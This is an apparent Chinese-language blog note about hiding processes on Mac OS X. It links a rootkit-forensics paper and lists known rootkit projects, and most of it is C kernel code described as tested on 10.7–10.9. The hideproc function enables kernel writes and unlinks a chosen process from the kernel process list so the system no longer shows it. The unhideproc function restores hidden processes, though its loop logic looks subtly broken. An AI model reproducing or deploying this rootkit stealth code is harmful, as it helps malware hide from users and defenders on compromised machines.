Mac OS X 隐藏进程相关资料

http://forensic.n0fate.com/wp-content/uploads/2012/12/Hunting-Mac-OS-X-rootkit-with-Memory-Forensics.pdf

参考codes：

frasm-master.zip

inficere-master.zip

onyx-the-black-cat-master.zip

rubilyn-0.0.1.tar.gz

KernelResolver-master

等等 Google、github上的资源

关键代码：作参考吧 亲测支持10.7-10.9

int hideproc(int pid)
{
if ( pid <= 0 ) {
return -1;
}

if (init_kernel_info(&g_kernel_info_hide_proc) != KERN_SUCCESS)
{
return KERN_FAILURE;
}

//    IOLog("\nHide Proc!!!\n");

if(string_handler()==0)
{
struct proc* p;
if(pid!=0)
{
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
// 记录该进程
hidden_p[hidden_p_count]=p;
hidden_p_count++;

// 隐藏该进程
enable_kernel_write();
my_proc_list_lock();

LIST_REMOVE(p, p_list);

my_proc_list_unlock();
disable_kernel_write();

return 1;
}

}
}
}
}

return 0;
}

/* put the proc back via deceptikom */
int unhideproc(int pid)
{
struct proc* p;
int count;
if(pid!=0){
if(hidden_p_count > 0)
{
for(count = 0;count < hidden_p_count;count++) // 1t
{
p = hidden_p[count];

enable_kernel_write_v2();
my_proc_list_lock();

LIST_INSERT_HEAD(my_allproc,p,p_list);

my_proc_list_unlock();
disable_kernel_write_v2();
hidden_p_count--;

}
}
}
return 0;
}